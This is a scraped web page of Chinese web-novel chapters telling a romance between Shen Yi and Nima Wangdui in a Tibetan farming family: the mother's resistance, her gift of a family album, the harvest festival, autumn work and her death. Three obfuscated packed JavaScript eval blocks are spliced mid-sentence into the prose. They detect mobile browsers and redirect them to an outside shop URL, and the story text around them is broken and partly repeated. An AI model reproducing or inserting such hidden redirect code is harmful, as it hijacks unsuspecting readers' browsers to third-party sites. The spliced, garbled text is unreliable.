‘父母之命、媒妁之言’得来的婚姻何来的爱,日久生情那是文化人用来骗人的东西,日久生的不是情,是厌恶,是失望,是一次又一次的失望,是一次又一次的失言,是最终的背叛。前半辈子,他是被孩子束缚在这里,后半辈子他依旧是被孩子束缚在这里。被丈夫背叛之后她成了女强人,他无所不能,他把一切希望放在孩子身上,两个孩子是他用了一生换来的。”德吉次仁痛苦的闭上了眼睛,最后的一句话如同冷水般泼在他身上,“所以,你能离开他吗?这是我作为母亲的请求。” 德吉次仁睁开泪眼,看向沈翊,那目光里充满了无尽的疲惫和哀求,以及深深的、无法消弭的隔阂。 “所以,”德吉次仁声音嘶哑,每一个字都耗尽了力气,““所以,你能离开他吗?这是我作为母亲的请求。” 德吉次仁说:“她不是恨你,她是怕极了。怕她用一辈子血泪垒起来的这个家,她看得比命重的儿子,再被‘感情’这种东西,拽进她爬不出来的那个深渊里。” 那些话像冰冷的雨水,一字一句砸在沈翊心上。 他听着,却忽然想起尼玛旺堆在扎央宗的山路上回头向他伸手的模样,那么坚定,那么不容置疑,仿佛他天生就知道该在什么时候托住沈翊摇晃的世界。 “对不起。”德吉次仁说完最后一句话,痛苦地闭上了眼睛,“我早该知道母亲会是这样的反应……” 沈翊深吸一口气。炉火在他眼前跳动,光影在米玛阿姨布满皱纹的脸上摇曳。他忽然意识到,这位老人和尼玛 旺堆有着同样深邃的眼睛,只是她的眼底沉积了太多风霜,而尼玛旺堆的眼睛里,当他看向自己时,充满爱意的眼神是独一无二的。 “米玛阿姨,”沈翊开口,声音出乎意料的平静,“你经历过的一切痛苦,又要让你的儿子重新体验一次吗?” 他说得很慢,每个字都在心里斟酌过。“尼玛旺堆也是人,他也有选择的权利。” 米玛阿姨抬起眼看着他。那一刻沈翊看见了,在那双被苦难磨砺过的眼睛里,除了固执和恐惧,还有一丝极其微弱的、连她自己可能都未察觉的动摇。那是母亲的本能看见孩子真正快乐时,那种无法完全扼杀的欣慰。 沈翊提到了尼玛旺堆表白时穿的藏袍,提到他骄傲地说“那是你亲手做给他的”。当他说这些话时,米玛阿姨的手指无意识地摩挲着自己藏袍的衣角,那上面有她亲手绣的纹样,一针一线,缝进了多少个漫长的夜晚。 房间里的空气仿佛凝固了。能清晰听见每个人的呼吸声,炉火燃烧的滋滋声,远处隐约传来的牛铃声。时间被拉得很长,长得足够沈翊回想起这近一年来的每一个细节…… 他想起了那个在田间第一次见到尼玛旺堆干农活的下午。 --- 那是春灌结束后的第一个晴天。沈翊跟着尼玛旺堆来到田边,看着这个平日里沉默的青年完全变了一个人。 尼玛旺堆赤着脚踩在刚刚灌溉过的泥土里,裤腿挽到膝盖,露出结实的小腿肌肉。他手里握着一把铁锹,正在修整田埂。阳光落在他古铜色的皮肤上,汗水沿着脊椎的沟壑滑进衣领。他的动作有力而精准,每一锹泥土都落在该落的位置,仿佛这不是劳作,而是一场与土地对话的仪式。 “还要继续看吗?”尼玛旺堆回头看他,脸上有淡淡的笑意,“可能会很无聊。” 沈翊摇摇头,在田埂上找了块干燥的地方坐下。他本来带了本书,但很快就发现自己根本读不进去,他的目光总是不自觉地飘向那个在田间劳作的身影。 尼玛旺堆干活时很专注,眉头微皱,嘴唇抿成一条线。他会时不时停下来,抓起一把泥土在手里捻开,观察湿度,然后继续调整水流的方向。这种专注让沈翊想起他讲解唐卡时的神情,同样的虔诚,同样的全神贯注。 中午休息时,尼玛旺堆走过来,在沈翊旁边坐下。他从布袋里拿出糌粑和酥油茶,很自然地分给沈翊一半。 “累吗?”沈翊问。 尼玛旺堆摇摇头,喝了一大口茶:“习惯了。土地就是这样,你付出多少,它就回报多少。”他顿了顿,看向沈翊,“不像人。” 这话说得突兀,沈翊愣了下。 尼玛旺堆似乎也意识到自己说了什么,低头捏着手里的糌粑团。“我的意思是……人太复杂了。有时候你付出很多,可能什么也得不到。” 他说这话时没有看沈翊,但沈翊能感觉到,这句话里藏着某种试探。现在明白了那是对父亲的不满。 那天傍晚收工回家时,尼玛旺堆的肩膀上被晒红了一大片。沈翊走在后面,看着那片发红的皮肤,心里忽然涌起一股冲动,他想伸手碰一碰,想知道被高原太阳灼伤的温度是怎样的。 当然他没有这么做。他只是默默记下了这件事,当晚悄悄向德吉次仁要了晒伤药膏,放在尼玛旺堆的枕头边。 第二天早上,尼玛旺堆什么也没说。但吃早饭时,他给沈翊多倒了一碗酥油茶,手指在碗边停留了片刻,那是他无声的道谢。 --- 米玛阿姨的叹息声将沈翊拉回现实。那声音像年代久远的齿轮缓慢运作,吱吱作响,下一秒仿佛就要碎掉。然后,沈翊看见她闭着眼睛,流下了一滴眼泪。 那滴眼泪缓慢地滑过她布满皱纹的脸颊,在下巴处停留了片刻,才坠入藏袍的纹理中,消失不见。 她让德吉次仁去拿了什么东西。 两人望着彼此,米玛阿姨的眼神非常纯净,没有丝毫的责怪之意。这种眼神让沈翊感到困惑,如果她真的坚决反对,为什么眼底没有愤怒,只有深沉的悲哀? 德吉次仁拿来一个用红布包裹的东西。米玛阿姨接过来,在手里摩挲了很久,久到沈翊几乎以为她改变了主意。然后,她将那个包裹递向了沈翊。 “那是送给你的,收下吧。”德吉次仁的声音有些哽咽。 沈翊下意识地接过来。红布包裹的东西不重,形状方正,摸起来像是一本书,或者一个相框。 不等他打开,也不等他再问什么,米玛阿姨已经挥挥手,示意谈话结束。沈翊被请出了房间,他抱着那个红布包裹,站在尼玛旺堆的卧室里,完全跟不上这位老人的思维逻辑。 他小心地解开红布。里面是一本手工装订的相册还有一枚戒指。 相册很旧了,封面是手工压花的牛皮纸。沈翊翻开第一页,呼吸忽然一滞—— 那是一张黑白照片,照片里的米玛阿姨还很年轻,可能只有二十岁。她穿着传统藏袍,头发梳的一丝不苟,站在一栋尚未建完的房子前,肩上扛着一根粗大的房梁。她的脸上没有笑容,只有一种坚毅的、几乎可以说是凶狠的神情。照片背面用藏文写了一行字,沈翊看不懂,但他猜,那可能是日期,或者一句誓言。 他继续往后翻。照片记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183004|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 录了这座房子建成的全过程,米玛阿姨和泥、砌墙、上梁;她独自牵着牦牛耕地;她背着婴儿时期的德吉次仁在田间除草;她站在丰收的青稞田里,脸上终于有了笑容。 相册的最后几页是彩色的。有尼玛旺堆小时候的照片,胖嘟嘟的,被姐姐抱在怀里;有德吉次仁第一次去拉萨上学时,全家在门口的合影;还有一张,沈翊的手指在上面停留了很久,是尼玛旺堆高中毕业时的照片。他穿着校服,手里拿着毕业证书,笑容腼腆而明亮。照片边缘有一小块污渍,像是被水滴晕开过。 沈翊合上相册,将它紧紧抱在胸前。他现在明白了米玛阿姨的复杂心情,她给了他这个家最珍贵的历史,既是展示她为之付出的一切,也是告诉他,有些东西比她个人的恐惧更重要。 不等沈翊反应过来,就被米玛阿姨请出去了,他呆在尼玛旺堆的卧室,完全跟不上米玛阿姨的脑回路。 就这样来到了望果节。 ---- 望果节到来时,米玛阿姨的身体似乎好转了一些。她甚至亲自为沈翊准备了一套藏袍不是尼玛旺堆的,而是一套崭新的、按照沈翊尺寸改过的藏袍。 “阿妈说,”德吉次仁在帮沈翊穿衣服时解释,“既然要参加望果节,就要穿得正式些。” 沈翊抚摸着藏袍的布料,那是厚重的羊毛呢,颜色是深沉的赭红色,衣襟和袖口绣着精致的吉祥纹样。“这太贵重了。”他低声说。 “收下吧。”德吉次仁为他系好腰带,退后一步端详,“很适合你。” 那天清晨,全村人都聚集在村口的煨桑台前。桑烟袅袅升起,僧侣们吹响法号,鼓钹齐鸣。沈翊穿着那身藏袍,跟在尼玛旺堆身边,感觉自己既像个局外人,又仿佛被某种巨大的力量温柔地包裹着。 队伍开始绕田游行。人们手持经幡、宝伞、彩箭,一边行走一边高呼:“羌酷秀!央酷秀!”(风调雨顺!吉祥如意!)声音在山谷间回荡,与风声、法号声、脚步声交织成一种震撼人心的交响。 尼玛旺堆走在沈翊斜前方。他今天也穿了最正式的藏袍,深蓝色的面料衬得他肩膀宽阔,腰背挺直。沈翊看着他被风吹起的头发,看着他随队伍行进时沉稳的步伐,心里涌起一种奇异的感觉,这个人既属于这片土地,又仿佛超越了这片土地。 游行途中经过一片油菜花田,金黄色的花朵在阳光下灿烂得刺眼。尼玛旺堆忽然放慢脚步,等沈翊走到身边。 “累吗?”他问,声音在喧闹中显得格外清晰。 沈翊摇摇头。实际上他的脚已经开始疼了。新靴子磨脚,但他不想说。 尼玛旺堆却仿佛看出来了。在下一个转弯处,他自然地伸出手,托了一下沈翊的手肘。“小心,这里石头多。” 那个触碰很短暂,但沈翊能感觉到尼玛旺堆手掌的温度,透过厚厚的衣料传递过来。之后的路程,尼玛旺堆始终走在他身侧半步的位置,每当路面不平,那只手就会适时地伸过来。 仪式结束后是聚餐。人们围坐在田边的空地上,分享各自带来的食物。沈翊被一群孩子拉着坐在中间,他们好奇地摸他的藏袍,用不熟练的汉语问:“你是从哪里来的?”“你会唱藏歌吗?” 尼玛旺堆在不远处看着,脸上有淡淡的笑意。德吉次仁端着两碗青稞酒走过来,递给他一碗:“不去陪他?” “让他玩吧。”尼玛旺堆说,目光却一直没离开沈翊。 “你看他的眼神,”德吉次仁抿了口酒,“阿妈早就同意了。” 尼玛旺堆沉默了很久。远处传来孩子们的欢笑声,沈翊正在笨拙地学唱一首简单的藏语童谣,发音古怪,逗得孩子们前仰后合。 “姐,”尼玛旺堆忽然开口,“你觉得……我错了吗?” 德吉次仁看着他,眼神柔软下来:“你觉得呢?” “我不知道。”尼玛旺堆低下头,看着碗里晃动的酒液,“我只知道,和他在一起的时候,我觉得……完整。” 这个词他说得很轻,但德吉次仁听清了。她伸手拍了拍弟弟的肩膀,什么也没说。 那天傍晚是尼玛旺堆开着三轮车来接沈翊的。夕阳将田野染成金红色,远处的雪山尖上还有最后一抹光亮。沈翊爬上三轮车后斗,坐在一堆空箩筐中间,感觉自己浑身上下都是尘土和阳光的味道。 尼玛旺堆递过来一个水壶:“喝点水。” 沈翊接过来,发现水是温的,尼玛旺堆特意用保温壶装了热水。这个细节让他心里一暖。 三轮车在土路上颠簸前行。风很大,吹得沈翊几乎睁不开眼。他索性闭上眼睛,感受晚风拂过脸颊,听着车轮压过路面的声音,和远处隐约传来的牧歌声。 “开心吗?”尼玛旺堆的声音从前座传来,被风吹得有些模糊。 沈翊睁开眼,看着尼玛旺堆宽阔的后背。藏袍被风吹得紧贴在身上,勾勒出肩胛骨的形状。“嗯,”他大声回答,“很开心!” 他说的是实话。这一刻,穿着米玛阿姨送的藏袍,坐在尼玛旺堆驾驶的三轮车上,行驶在丰收的田野间,他感到一种前所未有的、扎根于土地的踏实感。 32. 秋忙 秋收正式开始后,尼玛旺堆几乎忙得脚不沾地。沈翊这才明白,这个看似沉默的青年肩上扛着多少责任。 每天天不亮,尼玛旺堆就起床去田里。沈翊有时会跟着去,但大多数时候,尼玛旺堆会让他留在家里。“太晒了,”他说,“你会受不了。” 但沈翊还是去了。他带着米玛阿姨准备的午餐,坐在田埂的树荫下,看着尼玛旺堆操作收割机在金黄色的青稞田里来回穿梭。 机器的轰鸣声中,尼玛旺堆的神情专注而严肃。他控制着方向和速度,确保每一株青稞都被完整地收割。汗水浸湿了他的后背,额前的头发粘在皮肤上,但他似乎浑然不觉。 中午休息时,沈翊把饭送过去。尼玛旺堆坐在收割机的阴影里,接过饭盒,大口吃起来。他的手很脏,指甲缝里都是泥土,但沈翊忽然觉得,这样的尼玛旺堆比任何时候都真实。 “为什么不用联合收割机?”沈翊问,“村里不是有吗?” 尼玛旺堆咽下嘴里的食物,看着眼前这片即将收割完的田地:“联合收割机会损伤青稞的芒刺。传统方式虽然慢,但对庄稼好。”他顿了顿,“而且……我想亲手收割。” 他说这话时,目光扫过整片田野,那眼神里有某种沈翊无法完全理解的情感,是对土地的敬畏。 那天傍晚收工时,发生了一件小事。 尼玛旺堆在检查收割机时,不小心被一个锋利的零件划伤了手。伤口不深,但血流了不少。沈翊几乎是想都没想就冲了过去,抓起尼玛旺堆的手,用自己随身带的干净手帕按住伤口。 “别动,”沈翊的声音有些急,“按着,我去拿药箱。” 他跑向三轮车,翻出常备的急救包。等他跑回来时,尼玛旺堆还站在原地,低头看着自己被按住的伤口,神情有些恍惚? 沈翊小心地为他清洗伤口、上药、包扎。整个过程两人都没有说话。夕阳的光线斜斜地照过来,在田地上拉出 长长的影子。远处有归巢的鸟群飞过,鸣叫声划破傍晚的宁静。 “好了,”沈翊包扎完,抬起头,“这几天别碰水。” 尼玛旺堆看着自己被包扎好的手,又看向沈翊。他的眼神很深,像是有什么话要说,但最终只是歪着头亲了一 下脸颊说:“谢谢。” 沈翊抱住他说:“谢什么,我们是一对。” 回程的路上,尼玛旺堆破天荒地让沈翊驾驶电动三轮车,虽然只是在一段平坦的土路上。“试试看,”他说,“很简单。” 沈翊紧张地握住方向盘。 三轮车摇摇晃晃地前进,尼玛旺堆坐在旁边,受伤的手随意搭在膝盖上,另一只手却始终虚悬在方向盘附近一个随时准备接管的位置。 “看路,别看我的手。”尼玛旺堆说,声音里有一丝笑意。 沈翊脸一热,赶紧集中注意力。但眼角余光还是瞥见了尼玛旺堆的侧脸。他在笑,不是大笑,而是那种很淡的、从眼底漾开的笑意。那是沈翊第一次如此清晰地看见他笑。 那天晚上,沈翊在自己的笔记本上写下一段话: ·“今天为他包扎伤口时,我心疼他。那是一只属于劳动者的手,粗糙、有力、布满老茧和细小的伤疤。但就是这样一双手,会在我差点摔倒时稳稳地托住我,会为我端来温度刚好的酥油茶,会在寒冷的夜里不自觉地寻找我的温度。温柔的抱住我。 ·我不知道未来会怎样。米玛阿姨的担忧是真实的,这个世界的偏见也是真实的。但当我触摸到他的手,当我看见他在田间劳作的身影,当我听见他用汉语叫名字时,我就知道,有些东西已经发生了,无法撤销,无法回头。 ·爱是什么?在来这里之前,我以为爱是激情,是承诺,是未来的一切规划。但现在我觉得,爱可能就是这样一个傍晚,他为收割这片土地流了血,而我恰好带着药。” 秋收持续了十天。最后一天,当最后一捆青稞被堆上拖拉机时,尼玛旺堆站在田埂上,长长地舒了一口气。夕阳将他的影子拉得很长,投射在刚刚收割完的田地上。 沈翊走过去,递给他一碗水。 尼玛旺堆接过来,一口气喝完,然后看着沈翊:“结束了。” “辛苦了。”沈翊说。 尼玛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183005|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旺堆摇摇头,目光扫过这片刚刚奉献出所有果实的土地。“明年还会再来。”他说,然后转向沈翊,“你会看到。” 沈翊没有回答。他只是伸出手,拍了拍尼玛旺堆的肩膀,然后抱住他,却又不止于此。 他是此刻深刻的发现——自己真的很爱他。 回村的路上,他们遇见了几个同样刚收完工的村民。大家互相打招呼,有人开玩笑说:“旺堆,你家的客人变成半个藏族人了!” 尼玛旺堆笑着回应,沈翊虽然听不懂全部的藏语,但从那些善意的眼神和笑声中,他能感觉到某种接纳。 那天晚上,米玛阿姨做了丰盛的晚餐庆祝丰收。餐桌上有新收的青稞做的糌粑,有今年第一批酿的青稞酒,还有尼玛旺堆最爱吃的牛肉炖萝卜。气氛难得地轻松,连米玛阿姨的脸上都有了些许笑容。 饭后,尼玛旺堆拿出一把扎木聂,坐在火炉边弹奏起来。不是复杂的曲子,而是一首简单的、庆祝丰收的民间小调。德吉次仁跟着哼唱,米玛阿姨轻轻打着拍子。 沈翊坐在一旁,看着这一幕。炉火温暖,琴声悠扬,空气中弥漫着食物和藏香的混合气味。这一刻,他能肯定的说这样的日子可以一直持续下去。 但他知道,悲剧总会来临。 就像尼玛旺堆说的,春天万物复苏时,也是冰面下尸体开始腐烂的时候。 生命与死亡永远相伴,快乐与痛苦永远交织。 当最后一个音符落下时,尼玛旺堆抬起头,目光穿过温暖的炉火,与沈翊的视线相遇。 那一刻,沈翊看见了他眼底深处的某种东西,一种坚定的、近乎固执的温柔,仿佛在说:我知道前路艰难,但我选择的就是你。 两人相视一笑。 窗外,西藏的夜空星河璀璨。 屋内,炉火噼啪作响。在丰收的余韵中,在暗流涌动的平静里,两个来自不同世界的人,正在学着如何在同一片土地上生长。 而土地,永远是最有耐心的见证者。 它见证播种,见证生长,见证收获,也见证所有在它之上发生的、微小而伟大的爱情。 33. 伤春悲秋【新增】 秋收之后,又一年冬季即将来临。 米玛阿姨的身体一日不如一日,频繁在医院和家两点之间往返。藏药的气味渐渐浸透了她常坐的那个角落,混合着酥油与牛粪火炉的暖意,形成一种独特的、带着病弱气息的安宁。 这天尼玛旺堆去田里冬灌,沈翊和德吉次仁在家陪着米玛阿姨。从医院回来之后,老人明显精神了些许,她向来不喜欢医院那股消毒水的锋利气味,说那味道“刺鼻”。回到家,坐在熟悉火炉旁,听着猫咪喉咙里呼噜呼噜的响动,她整个人都舒展了许多。 刚吃完药,米玛阿姨靠在垫子上,手里缓缓转着佛珠。那只灰白相间的猫正趴在她膝边,琥珀色的眼睛紧紧盯着那串缓缓移动的深褐色珠子,尾巴尖有一下没一下地轻扫着羊毛垫子。 忽然,猫闪电般伸出前爪,试图扑住滚动的珠子。 米玛阿姨的手停住了。她低头看着猫,皱纹深刻的脸上浮现出一种极温柔的神情,仿佛在看一个顽皮的孩子。等猫松了爪,她才继续转动佛珠,而猫也再次蓄势待发——这一老一小就这样玩着永无止境的游戏,阳光从窗户斜照进来,尘埃在光柱中缓缓飞舞。 德吉次仁对沈翊使了个眼色,示意他跟自己出去。 沈翊虽不解,但还是跟着她走到院子里。午后的阳光明亮却没什么温度,风刮过枯黄的草场,发出干燥的沙沙声。 “对不起。”德吉次仁忽然说,声音很轻。 沈翊愣了一下:“?” “如果当初民宿没出意外,”德吉次仁转过身,金发在风中微微飘动,“你也不至于被迫留在这里。我总觉得……是我们把你困住了。” 沈翊摇头,神色异常坚定:“这是我自己的选择。如果我不想留,早就走了。”他顿了顿,补充道,“而且,这里从来不是‘困住’我的地方。” 德吉次仁静静看着他,眼底泛起一种复杂的情绪,有理解,有慈悲,还有一种近乎怜悯的温柔,仿佛在看一个不属于这人间烟火、却偏偏坠入其中的灵魂。她张了张嘴,最终什么也没说。 “你们在干什么?”尼玛旺堆的声音从院门处传来。 他刚回来,手里提着一个用塑料袋包裹的东西,形状像个不倒翁,顶部露出鲜艳的红色。皮靴上沾着新鲜的泥点,脸颊被寒风吹得泛红,眼睛却亮得很。 “没什么。”德吉次仁迅速收起情绪,目光落在他手里的东西上,“邻居送的?” “嗯。”尼玛旺堆抬了抬手里的东西,“‘措’。他们家今年做了,送我们尝尝。我们今年也改弄了,春天没时间……要不过几天做‘措’?” “我去查查什么时候是吉时。”德吉次仁说着,转身往佛堂方向走去,留下两人站在院子里。 尼玛旺堆感觉姐姐今天有点不对劲,但具体又说不上来。他想了想,决定晚上再问不迟,于是抬起手里的“措”,问沈翊:“要不要尝尝?” “这是什么?”沈翊凑近看。塑料袋里的东西像个饱满的圆锥体,红色部分似乎是染色的酥油,里面混杂着青稞、奶渣和各种小零食,散发着混合了酥油、炒面与糖的香甜气息。 “措,他叫措。”尼玛旺堆从底部小心地掰了一小块,抬手递到沈翊嘴边,很自然地笑着说:“吃吗?” 这个动作太亲近了——尼玛旺堆做起来却坦荡得毫无芥蒂,仿佛只是分享一颗普通的糖果。 沈翊看着他那双澄澈的直白眼神,下意识张嘴,就着他的手,咬住了那块酥软香甜的食物。 舌尖触碰到混合着砂糖颗粒的酥油和青稞面,甜得有些发腻,却又带着粮食朴实的香气。 沈翊咀嚼着,耳根不受控制地开始发烫,虽然两人早就在一起了,但刚才那个亲密的动作还是会让自己下意识脸红。 “咳,那什么,旺堆你过来一下。”德吉次仁的声音从佛堂门口传来,她手里拿着那本翻旧的藏历,脸上带着掩饰不住的尴尬,“我不是故意的……很快就把人还给你哈。” 尼玛旺堆神色依旧正常,似乎只是做了件再平常不过的事。他把剩下的“措”重新包好,对沈翊说:“等我一下。”便朝佛堂走去。 反倒是沈翊站在原地,脸颊的热度迟迟不退。他抬手摸了摸自己的耳垂,那里烫得吓人。 等两人进了佛堂,沈翊深吸一口冷空气,转身回到主屋。米玛阿姨还在和猫玩那个永无止境的游戏,见他进来,老人抬起头,露出慈祥的笑容,用藏语说了句什么。 沈翊听不懂,但能从语气里听出关切。他笑着点点头,在火炉边坐下,捧起那个始终温在炉边的铜壶,给米玛阿姨的木碗里续上热腾腾的酥油茶。 米玛阿姨接过碗,双手捧着,又说了一句藏语。这次她的语速很慢,眼神里有种沈翊读不懂的深重情绪——像是感谢,又像是……告别? 沈翊心里莫名一紧。他摇摇头,示意自己听不懂,但双手合十,朝老人微微欠身。 米玛阿姨笑了,眼角的皱纹像阳光下的水波纹。她慢慢喝着茶,另一只手依然规律地转着佛珠,而猫已经在她腿边蜷成一团,睡着了。 过了一会儿,尼玛旺堆和德吉次仁从佛堂回来了。两人脸上都带着一种沈翊看不懂的凝重。他们用藏语低声和母亲交谈,语速很快,沈翊只听出几个重复的词,像是“时间”“准备好”之类的。 米玛阿姨安静地听着,偶尔点点头。最后,她说了句什么,抬起那只布满皱纹和老茧的手,轻轻摆了摆。 尼玛旺堆和德吉次仁对视一眼,两人脸上都掠过一丝慌张,但见母亲态度坚决,便不再说话,只是沉默地坐了下来。 这一晚,和往常似乎没什么不同。 大家一起做饭。尼玛旺堆揉面,德吉次仁切肉,沈翊负责照看炉火。米玛阿姨坐在最好的位置,慢慢拣着晚上要用的蔬菜,偶尔指点两句。猫在人们脚边穿梭,寻找可能掉落的食物碎屑。 吃饭时,德吉次仁说起市里最近的新鲜事,尼玛旺堆则讲今天灌溉时看到的鸟群。米玛阿姨吃得不多,但一直微笑着听孩子们说话,眼神温和地扫过每个人的脸,像是在仔细描摹记忆中的轮廓。 饭后,尼玛旺堆和沈翊一起洗碗。温热的水流冲刷着碗壁,两人的手偶尔在泡沫中轻轻相触。尼玛旺堆的手指修长有力,指节处有常年劳作留下的薄茧;沈翊的手则白皙许多,指甲修剪得整齐干净。两只手在浑浊的洗碗水里短暂交叠,又若无其事地分开。 只是今晚,沈翊注意到尼玛旺堆洗碗的动作比平时慢了些,眼神也有些飘忽,仿佛心思飘到了很远的地方。 “怎么了?”沈翊轻声问。 尼玛旺堆回过神,摇摇头:“没事。”但他顿了顿,又说,“只是……觉得今天特别好。” 沈翊不懂这个“特别好”具体指什么,但他能感觉到尼玛旺堆语气里的珍重。于是他点点头,说:“嗯,是很好。” 洗完碗,德吉次仁端来一壶新煮的甜茶。大家围坐在火炉边,谁也不说话,只是静静地喝茶,听牛粪在炉膛里噼啪作响,看火苗跳跃的光影在每个人脸上明明灭灭。 这是千千万万个普通夜晚的重复,却又因为某种未言明的预感而显得格外珍贵,像握在手里即将融化的雪,美丽而短暂。 睡觉前,尼玛旺堆照例将陶制香炉暖进被褥。自从两人互表心意后,他们虽然很少睡在一起,毕竟床有点小。但两张床铺已经挪得很近,几乎是头对头,中间只隔着一条窄窄的过道。 今晚,沈翊躺下后,下意识朝尼玛旺堆那边侧过身。对方也正好侧身对着他,两人在昏暗的光线里对视着。 “明天去湿地吗?”尼玛旺堆轻声问,声音在寂静中格外清晰。 “嗯。”沈翊点头,“你说过要带我看那些过冬的鸟。” “它们应该都到了。”尼玛旺堆的眼睛在黑暗里亮晶晶的,“有一种从西边飞来的,翅膀尖是黑色的,飞起来特别好看。” “那我得好好拍几张。” “我给你指最好的角度。” 两人就这样低声说着明天的计划,直到睡意渐渐袭来。沈翊闭上眼睛前,最后看见的是尼玛旺堆近在咫尺的、安静的睡颜。 凌晨四点,沈翊被一阵动静吵醒。 他迷迷糊糊睁开眼,看见尼玛旺堆正从床上坐起来,动作有些急促,甚至可以说是慌乱。更奇怪的是,他没有穿鞋,光着脚就踩在了冰冷的水泥地上。 沈翊瞬间清醒了。他迅速起身,抓起自己的拖鞋,又弯腰捡起尼玛旺堆床边的鞋,快步跟了出去。 走廊里很暗,只有佛堂门缝下透出一线微弱的光。尼玛旺堆径直朝那里走去,脚步快而沉。沈翊跟在他身后,心里突然冒出一个荒谬的念头——难道旺堆有梦游症? 但下一秒,这个念头就被打破了。 德吉次仁也出现在了佛堂门口。她同样光着脚,穿着单薄的睡衣,金发凌乱地披在肩上。姐弟两人在昏暗的光线中对视着,谁也没有说话,只是静静地看着对方,脸上是一种沈翊从未见过的、近乎恐惧的凝重。 他们谁也不敢推开那扇门。 沈翊走近尼玛旺堆,缓缓蹲下,将拖鞋轻轻放在他脚边。冰凉的脚背触碰到温暖的绒毛内里时,尼玛旺堆似乎才意识到沈翊跟来了。 他低下头,眼神里有愧疚:“对不起,吵醒你了。” 沈翊摇摇头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183006|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身。他想问发生了什么,但眼前的氛围太过沉重,话语堵在喉咙里,怎么也问不出口。 这时,德吉次仁深吸了一口气,伸手缓缓推开了佛堂的木门。 吱呀—— 陈旧木轴转动的声音在死寂的凌晨格外刺耳。 佛堂里,燃灯已经熄了大半,只有角落几盏还在散发着微弱的光。米玛阿姨睡在靠南墙的木床上,那是她最近常睡的地方,说是离佛近些,心里踏实。 她闭着眼睛,面容安详,嘴角甚至带着一丝若有若无的微笑,像是刚睡着不久,正在做一个美好的梦。 但德吉次仁的手开始颤抖。 她慢慢走近,伸出右手,轻轻探向母亲的鼻息;左手则小心地握住母亲的手腕,指尖按在脉搏的位置。 几秒钟后,她整个人僵住了。 德吉次仁缓缓抬起头,目光投向佛堂的西北角,那里什么也没有,只有一片阴影。但她死死盯着那个方向,眼睛睁得很大,仿佛要从那片虚空里盯出什么东西来。 她想说话,嘴唇翕动着,却发不出任何声音。 只是看着那个地方。 尼玛旺堆也走向那个角落。他伸出手,缓缓在空中摸索,像是要触摸什么看不见的存在。他的手指穿过空气,什么也没有碰到。 沈翊站在门口,脊背一阵发凉。他什么也看不见,但当他走近那个位置时,一种本能的恐惧吓住了他。那是身体最原始的警报,像是动物面对天敌时的战栗。他感到一股阴森的寒气从那个角落蔓延出来,浑身的汗毛倒竖,鸡皮疙瘩瞬间爬满了手臂。 那是一种……死亡的气息。 尼玛旺堆注意到了沈翊的颤抖。他转过身,伸手将沈翊拉进怀里,带着他后退了一步。三个人就这样站成一排,面对着那个空无一物的角落。 就在这时,沈翊看见了。 不是用眼睛,而是用某种更原始的感知,一团模糊的、深重的黑影,悬浮在西北角的阴影里。没有形状,没有轮廓,只是一团浓缩的、令人不适的“存在”。 “那是什么东西……”沈翊的声音干涩得几乎不像自己的。 “你看错了。”德吉次仁说,声音压抑着哭腔,却异常冷静。她转过头,脸上是一种茫然的空白:“我们现在……需要做什么?” 是啊,需要做什么? 他们小时候送走过很多小生命,冻僵的雏鸟、难产的母羊、老死的牧羊犬。他们会挖一个小坑,洒上青稞,低声念一段简短的经文,给它们一个体面的告别。但他们从未面临过亲人的离去,从未站在死亡的门槛上,手足无措。 他们需要帮助。 沈翊的视线越过那团令人不适的黑影,落在静静躺在床上的米玛阿姨身上。她是那么的安详,嘴角含笑,仿佛只是睡着了。沈翊下意识想走近些,想伸手试探她的呼吸也许还有救,也许只是昏迷。 但一只苍白的手拦住了他,牵住了他的手。 “妈妈已经去世了。”尼玛旺堆说,声音沙哑得像砂纸摩擦木头,“不用试探了。” 沈翊看着那只手,修长,有力,此刻却在微微颤抖。他顺着那只手看向它的主人,看见尼玛旺堆脸上那种近乎 麻木的平静。没有眼泪,没有崩溃,只有一种深重的、压倒一切的接受。 德吉次仁也走了过来。姐弟两人就这样静静站在母亲床前,像两尊沉默的雕塑。他们没有哭天抢地,没有撕心裂肺,只是静静地、久久地看着,仿佛要将这张安详的睡颜刻进灵魂最深处。 然后,尼玛旺堆动了。 他走到佛堂的柜子前,打开最上面的抽屉,取出一条崭新的、洁白如雪的哈达。他走回床边,和德吉次仁一起,小心翼翼地将哈达展开,轻轻盖在母亲身上。洁白的丝绸覆上深色的藏袍,边缘垂落,在昏暗的光线里泛着柔和的光泽。 接着,尼玛旺堆开始点燃佛堂里所有的燃灯。 